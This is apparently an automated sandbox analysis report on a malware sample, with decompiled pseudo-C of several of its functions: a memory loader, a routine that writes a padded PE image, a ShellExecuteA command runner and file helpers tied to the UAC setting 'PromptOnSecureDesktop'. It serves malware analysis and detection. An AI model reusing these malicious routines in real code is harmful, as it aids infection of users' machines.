Opcode ID: f20540f086f6cde11da1c0912bd8b4db093012cd4bd3a0bf5db3ffead886992b
Instruction ID: 9406106fe81e47b207fd746d5c11beca6957dd7a726dfd862efddfda91f1d23f
Opcode Fuzzy Hash: f20540f086f6cde11da1c0912bd8b4db093012cd4bd3a0bf5db3ffead886992b
Instruction Fuzzy Hash: 8031EEB2900108BFDF00EFA09D45ADF7F78AF48310F15807AE112F7291D674AAA08F69

Uniqueness

Uniqueness Score: -1.00%

Function 0041B8A0, Relevance: 16.6, APIs: 11, Instructions: 114
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_check_managed_app.LIBCMTD ref: 0041B91C
__heap_init.LIBCMTD ref: 0041B926

Part of subcall function 00429240: HeapCreate.KERNEL32(00000000,00001000,00000000,?,0041B92B,00000001), ref: 00429256

_fast_error_exit.LIBCMTD ref: 0041B934

Part of subcall function 0041BA80: ___crtExitProcess.LIBCMTD ref: 0041BAA4

__mtinit.LIBCMTD ref: 0041B93C
_fast_error_exit.LIBCMTD ref: 0041B947
__RTC_Initialize.LIBCMTD ref: 0041B959
___crtGetEnvironmentStringsW.LIBCMTD ref: 0041B982
___wsetargv.LIBCMTD ref: 0041B98C
__wsetenvp.LIBCMTD ref: 0041B99F
__cinit.LIBCMTD ref: 0041B9B4
__wwincmdln.LIBCMTD ref: 0041B9D1

Memory Dump Source

Source File: 00000016.00000002.462651075.0000000000415000.00000020.00020000.sdmp, Offset: 00415000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_415000_BE39.jbxd

Similarity

API ID: ___crt_fast_error_exit$CreateEnvironmentExitHeapInitializeProcessStrings___wsetargv__cinit__heap_init__mtinit__wsetenvp__wwincmdln_check_managed_app
String ID:
API String ID: 2562088257-0
Opcode ID: 393273278c7a829edf22aac1c022c0aff4909c89cb8b3b3d22b0eede8b6da475
Instruction ID: 62fc68b8a50c9d48dd6059681ebc7c531bb473594267ef8d8efbcbbfc27918e6
Opcode Fuzzy Hash: 393273278c7a829edf22aac1c022c0aff4909c89cb8b3b3d22b0eede8b6da475
Instruction Fuzzy Hash: 564183F1E403189BEB10EBA6AC067DE76B4EF14718F50012FE90597282EB795541CB9A

Uniqueness

Uniqueness Score: -1.00%

Function 0041B915, Relevance: 16.6, APIs: 11, Instructions: 88
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_check_managed_app.LIBCMTD ref: 0041B91C
__heap_init.LIBCMTD ref: 0041B926

Part of subcall function 00429240: HeapCreate.KERNEL32(00000000,00001000,00000000,?,0041B92B,00000001), ref: 00429256

_fast_error_exit.LIBCMTD ref: 0041B934

Part of subcall function 0041BA80: ___crtExitProcess.LIBCMTD ref: 0041BAA4

__mtinit.LIBCMTD ref: 0041B93C
_fast_error_exit.LIBCMTD ref: 0041B947
__RTC_Initialize.LIBCMTD ref: 0041B959
___crtGetEnvironmentStringsW.LIBCMTD ref: 0041B982
___wsetargv.LIBCMTD ref: 0041B98C
__wsetenvp.LIBCMTD ref: 0041B99F
__cinit.LIBCMTD ref: 0041B9B4
__wwincmdln.LIBCMTD ref: 0041B9D1

Memory Dump Source

Source File: 00000016.00000002.462651075.0000000000415000.00000020.00020000.sdmp, Offset: 00415000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_415000_BE39.jbxd

Similarity

API ID: ___crt_fast_error_exit$CreateEnvironmentExitHeapInitializeProcessStrings___wsetargv__cinit__heap_init__mtinit__wsetenvp__wwincmdln_check_managed_app
String ID:
API String ID: 2562088257-0
Opcode ID: 18d2a9b7e17486125a4444bf4dd36e5029341a57bef1230068a5c4984d931f87
Instruction ID: 0fecd48a63363464e5f580eae575ed68389be0eb73217d34ff5325ccd00a48ce
Opcode Fuzzy Hash: 18d2a9b7e17486125a4444bf4dd36e5029341a57bef1230068a5c4984d931f87
Instruction Fuzzy Hash: EE3184F1E513149AEB10BBB2B80279E7660EF1030CF50012FE90557282EB795991CADA

Uniqueness

Uniqueness Score: -1.00%

Function 0041A14F, Relevance: 16.3, APIs: 8, Strings: 1, Instructions: 523
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__vswprintf.LIBCMTD ref: 0041A16D

Part of subcall function 0041B760: __vsprintf_l.LIBCMTD ref: 0041B773

_putc.LIBCMTD ref: 0041A174

Part of subcall function 0041B390: __invalid_parameter.LIBCMTD ref: 0041B41D

__wrename.LIBCMTD ref: 0041A17B

Part of subcall function 0041B340: __dosmaperr.LIBCMTD ref: 0041B374

_atexit.LIBCMTD ref: 0041A181

Part of subcall function 0041B0D0: __atof_l.LIBCMTD ref: 0041B0DB

_malloc.LIBCMTD ref: 0041A193
_realloc.LIBCMTD ref: 0041A19A

Part of subcall function 0041AE20: __realloc_dbg.LIBCMTD ref: 0041AE34

_ferror.LIBCMTD ref: 0041A1A0

Part of subcall function 0041ADA0: __invalid_parameter.LIBCMTD ref: 0041ADFA

Part of subcall function 0041AD80: __wcstoi64.LIBCMTD ref: 0041AD8D

_memset.LIBCMT ref: 0041A5D2

Strings

cbH, xrefs: 0041A489

Memory Dump Source

Source File: 00000016.00000002.462651075.0000000000415000.00000020.00020000.sdmp, Offset: 00415000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_415000_BE39.jbxd

Similarity

API ID: __invalid_parameter$__atof_l__dosmaperr__realloc_dbg__vsprintf_l__vswprintf__wcstoi64__wrename_atexit_ferror_malloc_memset_putc_realloc
String ID: cbH
API String ID: 408336251-2585554156
Opcode ID: 6062811ae82dd0d0c50bd8fe52d1d73fab61ce08e22a62f67b7952eb4055b229
Instruction ID: c40998d2f2bfa576358d8a92e589051ae6646b490fcb390bee6d8b76b7f1bfd3
Opcode Fuzzy Hash: 6062811ae82dd0d0c50bd8fe52d1d73fab61ce08e22a62f67b7952eb4055b229
Instruction Fuzzy Hash: 8AF1D976406664BBC311ABA1AE4CDDF3F6CEF4A352B00442AF64AE5070D7385645CBBE

Uniqueness

Uniqueness Score: -1.00%

Function 0064003C, Relevance: 12.8, APIs: 5, Strings: 2, Instructions: 515
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualAlloc.KERNEL32(00000000,?,00001000,00000004), ref: 0064024D

Strings

kernel32.dll, xrefs: 0064008F, 00640095
cess, xrefs: 0064018D

Memory Dump Source

Source File: 00000016.00000002.462794356.0000000000640000.00000040.00000001.sdmp, Offset: 00640000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_640000_BE39.jbxd

Yara matches

Similarity

API ID: AllocVirtual
String ID: cess$kernel32.dll
API String ID: 4275171209-1230238691
Opcode ID: 1bc5c981d6fea912fcc7dcc340e60fde74e519195c6ec5c7e407c243dd4fdd56
Instruction ID: 75b1f121280a3e09fe799009cb23f5dbb741f0cd20aece948cab2a20e9514f54
Opcode Fuzzy Hash: 1bc5c981d6fea912fcc7dcc340e60fde74e519195c6ec5c7e407c243dd4fdd56
Instruction Fuzzy Hash: 7D526874A01229DFDB64CF68C985BA8BBB1BF09304F1480D9E94DAB351DB30AE85DF15

Uniqueness

Uniqueness Score: -1.00%

Function 004099D2, Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 54
stringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 46%

			E004099D2(int __edx, void* __eflags, CHAR* _a4, CHAR* _a8, CHAR* _a12, intOrPtr _a16, int _a20) {
				signed int _t14;
				void* _t21;
				CHAR* _t22;
				void* _t24;
				int _t25;

				_t25 = __edx;
				_t22 = _a8;
				lstrcpyA(_t22, _a4);
				E00408274(_t22);
				_push(0);
				_push(_a12);
				_t14 = E00406C6F((E0040ECA5() & 0x0000000f) << 0x00000014 | 0x00006108);
				_pop(_t24);
				_push(_t14 ^ 0x61616161);
				E0040F133();
				lstrcatA(_a12, E00402544(0x4122f8, 0x410694, 5, 0xe4, 0xc8));
				E0040EE2A(_t24, 0x4122f8, 0, 0x100);
				lstrcatA(_t22, _a12);
				_t21 = E00406A60(_t25, _t22, _a16, _a20); // executed
				return _t21;
			}

0x004099d2
0x004099d6
0x004099df
0x004099e6
0x004099ec
0x004099ee
0x00409a02
0x00409a07
0x00409a0d
0x00409a0e
0x00409a3c
0x00409a46
0x00409a52
0x00409a5b
0x00409a67

APIs

lstrcpyA.KERNEL32(?,?,00000100,PromptOnSecureDesktop,00000000,?,00409E9D,?,00000022,?,?,?,?,?,?,?), ref: 004099DF
lstrcatA.KERNEL32(00000022,00000000,?,?,00409E9D,?,00000022,?,?,?,?,?,?,?,000001F4), ref: 00409A3C
lstrcatA.KERNEL32(?,00000022,?,?,?,?,?,00409E9D,?,00000022,?,?,?), ref: 00409A52

Part of subcall function 00406A60: CreateFileA.KERNEL32(?,40000000,00000000,00000000,00000002,00000080,00000000,74E481D0,?,?,?,?,00409A60,?,?,00409E9D), ref: 00406A7D
Part of subcall function 00406A60: GetDiskFreeSpaceA.KERNEL32(00409E9D,00409A60,?,?,?,PromptOnSecureDesktop,?,?,?,00409A60,?,?,00409E9D), ref: 00406ABB
Part of subcall function 00406A60: GetLastError.KERNEL32(?,?,?,?,?,?,?,00409A60,?,?,00409E9D), ref: 00406B40
Part of subcall function 00406A60: CloseHandle.KERNEL32(?,?,?,?,?,?,?,?,00409A60,?,?,00409E9D), ref: 00406B4E
Part of subcall function 00406A60: DeleteFileA.KERNEL32(?,?,?,?,?,?,?,?,00409A60,?,?,00409E9D), ref: 00406B80

Strings

PromptOnSecureDesktop, xrefs: 004099D9, 00409A24, 00409A29, 00409A45

Memory Dump Source

Source File: 00000016.00000002.462611897.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000016.00000002.462639431.0000000000414000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_400000_BE39.jbxd

Yara matches

Similarity

API ID: Filelstrcat$CloseCreateDeleteDiskErrorFreeHandleLastSpacelstrcpy
String ID: PromptOnSecureDesktop
API String ID: 4131120076-2980165447
Opcode ID: cb8d8b12221011c2ecefbb9c2a5bdb301364e629a1ff96e5c87c413b5c368032
Instruction ID: 3080a8c352511dab3afe6aac1e5f9bdd01cc5e55c8c8f00722b444f0ba2a7742
Opcode Fuzzy Hash: cb8d8b12221011c2ecefbb9c2a5bdb301364e629a1ff96e5c87c413b5c368032
Instruction Fuzzy Hash: D6018F7294020877EE106F62AC47F9F3E1DEB54718F04883AF619790D2D9BA94709A6C

Uniqueness

Uniqueness Score: -1.00%

Function 00404000, Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 35
sleepfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 100%

			E00404000(CHAR* _a4, signed int* _a8) {
				void* _t3;
				long _t6;
				void* _t8;
				signed int* _t9;

				_t9 = _a8;
				_t8 = 0;
				 *_t9 =  *_t9 | 0xffffffff;
				while(1) {
					_t3 = CreateFileA(_a4, 0xc0000000, 3, 0, 3, 0x40000080, 0); // executed
					if(_t3 != 0xffffffff) {
						break;
					}
					_t6 = GetLastError();
					if(_t6 == 2 || _t6 == 3) {
						L6:
						return 0;
					} else {
						if(_t6 == 5) {
							L9:
							return 1;
						}
						Sleep(0x1f4);
						_t8 = _t8 + 1;
						if(_t8 < 0xa) {
							continue;
						}
						goto L6;
					}
				}
				 *_t9 = _t3;
				goto L9;
			}

0x00404001
0x00404006
0x00404008
0x0040400b
0x00404021
0x0040402a
0x00000000
0x00000000
0x0040402c
0x00404035
0x00404052
0x00000000
0x0040403c
0x0040403f
0x00404059
0x00000000
0x0040405b
0x00404046
0x0040404c
0x00404050
0x00000000
0x00000000
0x00000000
0x00404050
0x00404035
0x00404057
0x00000000

APIs

CreateFileA.KERNEL32(40000080,C0000000,00000003,00000000,00000003,40000080,00000000,00000001,PromptOnSecureDesktop,004042B6,00000000,00000001,PromptOnSecureDesktop,00000000,?,004098FD), ref: 00404021
GetLastError.KERNEL32(?,004098FD,00000001,00000100,PromptOnSecureDesktop,0040A3C7), ref: 0040402C
Sleep.KERNEL32(000001F4,?,004098FD,00000001,00000100,PromptOnSecureDesktop,0040A3C7), ref: 00404046

Strings

PromptOnSecureDesktop, xrefs: 00404000

Memory Dump Source

Source File: 00000016.00000002.462611897.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000016.00000002.462639431.0000000000414000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_400000_BE39.jbxd

Yara matches

Similarity

API ID: CreateErrorFileLastSleep
String ID: PromptOnSecureDesktop
API String ID: 408151869-2980165447
Opcode ID: 6f680220710ad79833a0587a74a8d4d803d4b32c880204d479e51cf724750932
Instruction ID: 3804347f6bd7ba573f3b83e06e35dce69dd086f5e0a34025cfebbc3953b0dfe0
Opcode Fuzzy Hash: 6f680220710ad79833a0587a74a8d4d803d4b32c880204d479e51cf724750932
Instruction Fuzzy Hash: 05F0A771240101AAD7311B24BC49B5B36A1DBC6734F258B76F3B5F21E0C67458C19B1D

Uniqueness

Uniqueness Score: -1.00%

Function 0040EC54, Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 24
timeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 100%

			E0040EC54() {
				long _v8;
				struct _FILETIME _v16;
				signed int _t11;

				GetSystemTimeAsFileTime( &_v16);
				GetVolumeInformationA(0, 0, 4,  &_v8, 0, 0, 0, 0); // executed
				_t11 = (GetTickCount() ^ _v16.dwHighDateTime ^ _v8) & 0x7fffffff;
				 *0x4136cc = _t11;
				return _t11;
			}

0x0040ec5e
0x0040ec72
0x0040ec84
0x0040ec89
0x0040ec8f

APIs

GetSystemTimeAsFileTime.KERNEL32(?), ref: 0040EC5E
GetVolumeInformationA.KERNEL32(00000000,00000000,00000004,?,00000000,00000000,00000000,00000000), ref: 0040EC72
GetTickCount.KERNEL32 ref: 0040EC78

Strings

0t, xrefs: 0040EC78

Memory Dump Source

Source File: 00000016.00000002.462611897.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000016.00000002.462639431.0000000000414000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_400000_BE39.jbxd

Yara matches

Similarity

API ID: Time$CountFileInformationSystemTickVolume
String ID: 0t
API String ID: 1209300637-1355922044
Opcode ID: 317f96d9bc7de3e67904a91eb6120da1bd741d4a36fd8a43a77db32c5f55538a
Instruction ID: 1673bc13977c8672636575d9c8a2f9c2942a42ce341afdc75306ae3be589e196
Opcode Fuzzy Hash: 317f96d9bc7de3e67904a91eb6120da1bd741d4a36fd8a43a77db32c5f55538a
Instruction Fuzzy Hash: 6BE0BFF5810104FFEB11EBB0EC4EEBB7BBCFB08315F504661B915D6090DAB49A448B64

Uniqueness

Uniqueness Score: -1.00%

Function 00426DF0, Relevance: 6.3, APIs: 4, Instructions: 326
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__nh_malloc_dbg.LIBCMTD ref: 00426E7B
__nh_malloc_dbg.LIBCMTD ref: 00426FA7

Memory Dump Source

Source File: 00000016.00000002.462651075.0000000000415000.00000020.00020000.sdmp, Offset: 00415000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_415000_BE39.jbxd

Similarity

API ID: __nh_malloc_dbg
String ID:
API String ID: 2526938719-0
Opcode ID: 67fbde80b38ae4d2c4d354e6f43c5a689de6c91e3fbf97f9bcb813275b1f0499
Instruction ID: fa54beb992bc3f57cc8ec98305fc5e69beaffd068caa2c104cbcdcb7a89f9120
Opcode Fuzzy Hash: 67fbde80b38ae4d2c4d354e6f43c5a689de6c91e3fbf97f9bcb813275b1f0499
Instruction Fuzzy Hash: AAE13774E04258CFDB24CFA8D894BADFBB1BB49314F24829ED8256B392C7349846CF45

Uniqueness

Uniqueness Score: -1.00%

Function 00406987, Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 92
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 97%

			E00406987(void* __ecx, void* _a4, void* _a8, intOrPtr _a12, signed int _a16) {
				long _v8;
				long _v12;
				signed int _t50;
				int _t52;
				signed int _t53;
				int _t59;
				signed int _t60;
				long _t68;
				signed int _t74;
				void* _t78;
				void* _t85;

				_t78 = _a8;
				_t48 =  *((intOrPtr*)(_t78 + 0x3c)) + _t78;
				_t7 =  &_a16; // 0x406b2c
				_t85 = (( *( *((intOrPtr*)(_t78 + 0x3c)) + _t78 + 6) & 0x0000ffff) - 1) * 0x28 + ( *(_t48 + 0x14) & 0x0000ffff) + _t48 + 0x18;
				_t68 =  *(_t85 + 0x14);
				_t50 =  *_t7 - _t68;
				_v8 = _t50;
				if(_t68 >= _a12) {
					L5:
					_a16 = _a16 & 0x00000000;
				} else {
					_t74 =  *(_t85 + 0x10);
					if(_t74 == 0) {
						goto L5;
					} else {
						_v12 = _t74;
						_a16 = _t50 / _t74;
						if(_a16 < 1) {
							_a16 = 1;
						}
						_t20 =  &_a16; // 0x406b2c
						 *(_t85 + 0x10) =  *_t20 * _t74;
					}
				}
				_v8 = _v8 & 0x00000000;
				_t52 = WriteFile(_a4, _t78, _t68,  &_v8, 0); // executed
				if(_t52 == 0 || _v8 != _t68) {
					if(_a16 != 0) {
						 *(_t85 + 0x10) = _v12;
					}
					_t53 = 0;
				} else {
					if(_a16 == 0) {
						L13:
						_t53 = _t68;
					} else {
						 *(_t85 + 0x10) = _v12;
						while(1) {
							_v8 = _v8 & 0x00000000;
							_t59 = WriteFile(_a4, _a8 +  *(_t85 + 0x14), _v12,  &_v8, 0); // executed
							_t60 = _v8;
							if(_t59 == 0 || _t60 != _v12) {
								break;
							}
							_t68 = _t68 + _t60;
							_t41 =  &_a16;
							 *_t41 = _a16 - 1;
							if( *_t41 != 0) {
								continue;
							} else {
								goto L13;
							}
							goto L18;
						}
						asm("sbb eax, eax");
						_t53 =  !_t60 & _t68 + _t60;
					}
				}
				L18:
				return _t53;
			}

0x0040698f
0x00406995
0x004069a7
0x004069aa
0x004069ac
0x004069af
0x004069b1
0x004069b7
0x004069e0
0x004069e0
0x004069b9
0x004069b9
0x004069be
0x00000000
0x004069c0
0x004069c4
0x004069c7
0x004069d0
0x004069d2
0x004069d2
0x004069d5
0x004069db
0x004069db
0x004069be
0x004069e4
0x004069f9
0x004069fd
0x00406a51
0x00406a56
0x00406a56
0x00406a59
0x00406a04
0x00406a08
0x00406a3c
0x00406a3c
0x00406a0a
0x00406a0d
0x00406a10
0x00406a10
0x00406a27
0x00406a2b
0x00406a2e
0x00000000
0x00000000
0x00406a35
0x00406a37
0x00406a37
0x00406a3a
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00406a3a
0x00406a45
0x00406a49
0x00406a49
0x00406a08
0x00406a5b
0x00406a5f

APIs

WriteFile.KERNEL32(00409A60,?,?,00000000,00000000,00409A60,?,00000000), ref: 004069F9
WriteFile.KERNEL32(00409A60,?,00409A60,00000000,00000000), ref: 00406A27

Strings

,k@, xrefs: 004069A7, 004069D5

Memory Dump Source

Source File: 00000016.00000002.462611897.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000016.00000002.462639431.0000000000414000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_400000_BE39.jbxd

Yara matches

Similarity

API ID: FileWrite
String ID: ,k@
API String ID: 3934441357-1053005162
Opcode ID: e4aff9389b963f63373f6495f6f2d31144d691977fa3f05a849364ed3536fcbf
Instruction ID: 2e4882fff751b5905bcc38bfa2cd4d67bf9c642b42fdf425c00f27fbfd993b21
Opcode Fuzzy Hash: e4aff9389b963f63373f6495f6f2d31144d691977fa3f05a849364ed3536fcbf
Instruction Fuzzy Hash: 3A313A72A00209EFDB24DF58D984BAA77F4EB44315F12847AE802F7680D374EE64CB65

Uniqueness

Uniqueness Score: -1.00%

Function 0041BDDA, Relevance: 4.6, APIs: 3, Instructions: 142COMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 0041BF69
_memset.LIBCMT ref: 0041BF86
_memset.LIBCMT ref: 0041BFA1

Memory Dump Source

Source File: 00000016.00000002.462651075.0000000000415000.00000020.00020000.sdmp, Offset: 00415000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_415000_BE39.jbxd

Similarity

API ID: _memset
String ID:
API String ID: 2102423945-0
Opcode ID: f65a365a85970408d5a9747535712d21f841d260cafc316947d6d2c545627dab
Instruction ID: d184770ffa2e40de6654f0cdce6dc6d3ebee68f8e3193a41e9efdfb066c3e6ff
Opcode Fuzzy Hash: f65a365a85970408d5a9747535712d21f841d260cafc316947d6d2c545627dab
Instruction Fuzzy Hash: D7510BB4A00208CFCB14CF54DA94BD9B7F1FB48315F208299E9156B391C775AE85CFA9

Uniqueness

Uniqueness Score: -1.00%

Function 0041BBDF, Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 37COMMON

Download Yara Rule

Strings

QQ, xrefs: 0041BBD9

Memory Dump Source

Source File: 00000016.00000002.462651075.0000000000415000.00000020.00020000.sdmp, Offset: 00415000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_415000_BE39.jbxd

Similarity

API ID:
String ID: QQ
API String ID: 0-3460843698
Opcode ID: 75285a33f3e3a8226227495b54544be31729fa98091c7b21b9d872baf7ad745d
Instruction ID: 9b355aa64d7ef25c798fe5b21c84ab3371e68f2ac664b0804fdbfa02f7f559f1
Opcode Fuzzy Hash: 75285a33f3e3a8226227495b54544be31729fa98091c7b21b9d872baf7ad745d
Instruction Fuzzy Hash: E101F6B5A04109EFDB14DF94D980BEB73B4EB88304F10859AF8058B240EB38EA91DBD5

Uniqueness

Uniqueness Score: -1.00%

Function 004091EB, Relevance: 3.1, APIs: 2, Instructions: 119
sleepCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E004091EB(char* _a4, char* _a8) {
				signed int _v8;
				signed int _v12;
				char _v524;
				char _t24;
				char* _t25;
				void* _t27;
				intOrPtr* _t29;
				char* _t31;
				char _t34;
				intOrPtr _t40;
				void* _t41;
				char* _t42;
				void* _t44;
				void* _t45;
				void* _t46;

				_v12 = _v12 & 0x00000000;
				_t42 = _a8;
				_v8 = 0x10;
				if( *_t42 == 0) {
					L33:
					return _v12;
				} else {
					goto L1;
				}
				do {
					L1:
					_t31 = E0040ED03(_t42, 0xd);
					if(_t31 != 0) {
						L6:
						_t44 = _t31 - _t42;
						if(_t44 >= 0x200) {
							_t44 = 0x1ff;
						}
						E0040EE08( &_v524, _t42, _t44);
						_t46 = _t46 + 0xc;
						 *((char*)(_t45 + _t44 - 0x208)) = 0;
						if(_v524 == 0) {
							goto L27;
						} else {
							_t25 =  &_v524;
							if(_v524 != 0x20) {
								L16:
								while( *_t25 == 0x22) {
									while(1) {
										_t25 =  &(_t25[1]);
										_t34 =  *_t25;
										if(_t34 == 0) {
											break;
										}
										if(_t34 == 0x22) {
											L15:
											_t25 =  &(_t25[1]);
											goto L16;
										}
									}
									if(_t34 != 0x22) {
										L20:
										while( *_t25 != 0) {
											if( *_t25 == 0x20) {
												L22:
												 *_t25 = 0;
												do {
													_t25 =  &(_t25[1]);
												} while ( *_t25 == 0x20);
												L26:
												_t27 = ShellExecuteA(0, _a4,  &_v524, _t25, 0, 0); // executed
												_v12 = _t27;
												if(_t27 != 0x2a) {
													 *0x412180 = _v8 | 0x61080100;
													 *0x41217c = _t27;
													return _t27;
												} else {
													goto L27;
												}
												while(1) {
													L27:
													_t24 =  *_t31;
													if(_t24 != 0xd && _t24 != 0xa) {
														goto L30;
													}
													_t31 = _t31 + 1;
												}
												goto L30;
											}
											_t25 =  &(_t25[1]);
										}
										if( *_t25 != 0x20) {
											_t25 = 0;
											goto L26;
										}
										goto L22;
									}
									goto L15;
								}
								goto L20;
							} else {
								goto L10;
							}
							do {
								L10:
								_t25 =  &(_t25[1]);
							} while ( *_t25 == 0x20);
							goto L16;
						}
					}
					_t31 = E0040ED03(_t42, 0xa);
					if(_t31 != 0) {
						goto L6;
					}
					_t29 = _t42;
					_t5 = _t29 + 1; // 0x409689
					_t41 = _t5;
					do {
						_t40 =  *_t29;
						_t29 = _t29 + 1;
					} while (_t40 != 0);
					_t31 = _t29 - _t41 + _t42;
					goto L6;
					L30:
					_t42 = _t31;
					if( *_t31 != 0) {
						Sleep(0x1f4); // executed
					}
					_v8 = _v8 + 1;
				} while ( *_t31 != 0);
				goto L33;
			}

0x004091f4
0x004091fb
0x00409201
0x00409208
0x00409308
0x00000000
0x00000000
0x00000000
0x00000000
0x0040920e
0x0040920e
0x00409216
0x0040921c
0x0040923f
0x00409241
0x00409249
0x0040924b
0x0040924b
0x00409259
0x0040925e
0x00409261
0x00409270
0x00000000
0x00409272
0x00409279
0x0040927f
0x00000000
0x0040929b
0x0040928e
0x0040928e
0x0040928f
0x00409293
0x00000000
0x00000000
0x0040928c
0x0040929a
0x0040929a
0x00000000
0x0040929a
0x0040928c
0x00409298
0x00000000
0x004092a8
0x004092a5
0x004092b2
0x004092b2
0x004092b5
0x004092b5
0x004092b6
0x004092bf
0x004092cf
0x004092d5
0x004092db
0x00409319
0x0040931f
0x00000000
0x00000000
0x00000000
0x00000000
0x004092dd
0x004092dd
0x004092dd
0x004092e1
0x00000000
0x00000000
0x004092e7
0x004092e7
0x00000000
0x004092dd
0x004092a7
0x004092a7
0x004092b0
0x004092bd
0x00000000
0x004092bd
0x00000000
0x004092b0
0x00000000
0x00409298
0x00000000
0x00000000
0x00000000
0x00000000
0x00409281
0x00409281
0x00409281
0x00409282
0x00000000
0x00409287
0x00409270
0x00409226
0x0040922c
0x00000000
0x00000000
0x0040922e
0x00409230
0x00409230
0x00409233
0x00409233
0x00409235
0x00409236
0x0040923c
0x00000000
0x004092ea
0x004092ed
0x004092ef
0x004092f6
0x004092f6
0x004092fc
0x004092ff
0x00000000

APIs

ShellExecuteA.SHELL32(00000000,00000000,00000020,00000023,00000000,00000000), ref: 004092CF
Sleep.KERNEL32(000001F4,00000000,00000000,000000C8), ref: 004092F6

Memory Dump Source

Source File: 00000016.00000002.462611897.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000016.00000002.462639431.0000000000414000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_400000_BE39.jbxd

Yara matches

Similarity

API ID: ExecuteShellSleep
String ID:
API String ID: 4194306370-0
Opcode ID: c86309d44ccec62141d82a488bd432547af8b47106777d1a6e333b4945649de3
Instruction ID: 162d7f392e51f347a0f03a95c4dfe3fd2355f2c09eeccb2d2824a4f222a18d72
Opcode Fuzzy Hash: c86309d44ccec62141d82a488bd432547af8b47106777d1a6e333b4945649de3
Instruction Fuzzy Hash: 7D41EE718083497EEB269664988C7E73BA49B52310F2809FFD492B72D3D7BC4D818759

Uniqueness

Uniqueness Score: -1.00%

Function 00406E36, Relevance: 3.1, APIs: 2, Instructions: 51
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E00406E36(intOrPtr _a4, intOrPtr _a8) {
				long _v8;
				long _v12;
				union _SID_NAME_USE _v16;
				intOrPtr _v60;
				intOrPtr _v76;
				void _v84;
				short _v340;
				short _v860;
				int _t20;
				int _t28;
				intOrPtr _t30;
				signed int _t31;
				signed int _t32;

				_t32 = _t31 | 0xffffffff;
				_v8 = 0x104;
				_t20 = GetUserNameW( &_v860,  &_v8); // executed
				if(_t20 != 0) {
					_v8 = 0x7c;
					_v12 = 0x80;
					_t28 = LookupAccountNameW(0,  &_v860,  &_v84,  &_v8,  &_v340,  &_v12,  &_v16); // executed
					if(_t28 != 0) {
						if(_v8 < 0xc || _v76 != _a4) {
							L8:
							_t32 = 1;
						} else {
							_t30 = _a8;
							if(_t30 == 0 || _v8 >= 0x1c && _v60 == _t30) {
								_t32 = 0;
							} else {
								goto L8;
							}
						}
					}
				}
				return _t32;
			}

0x00406e4b
0x00406e4e
0x00406e55
0x00406e5d
0x00406e7f
0x00406e86
0x00406e8d
0x00406e95
0x00406e9b
0x00406ebb
0x00406ebd
0x00406ea5
0x00406ea5
0x00406eaa
0x00406eb7
0x00000000
0x00000000
0x00000000
0x00406eaa
0x00406e9b
0x00406e95
0x00406ec2

APIs

GetUserNameW.ADVAPI32 ref: 00406E55
LookupAccountNameW.ADVAPI32 ref: 00406E8D

Memory Dump Source

Source File: 00000016.00000002.462611897.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000016.00000002.462639431.0000000000414000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_400000_BE39.jbxd

Yara matches

Similarity

API ID: Name$AccountLookupUser
String ID:
API String ID: 2370142434-0
Opcode ID: 72898ebcb6f81f1198030622a9bf6313c93c94cde1355ae2af79125b690e915f
Instruction ID: d69833bf2c7126fc9b7bd4b1d5117f4fe90a033eeaed535c4400ab00b2689cfd
Opcode Fuzzy Hash: 72898ebcb6f81f1198030622a9bf6313c93c94cde1355ae2af79125b690e915f
Instruction Fuzzy Hash: 0211F776900218EBDF21CFD4C884ADFB7BCAB04741F1542B6E502F6290DB749B989BE4

Uniqueness

Uniqueness Score: -1.00%

Function 00419DFE, Relevance: 3.0, APIs: 2, Instructions: 39librarymemoryCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNEL32(00441768,?,0041A6B3,?,?,?,0041BA05,00400000,00000000,?,0000000A), ref: 00419E5F
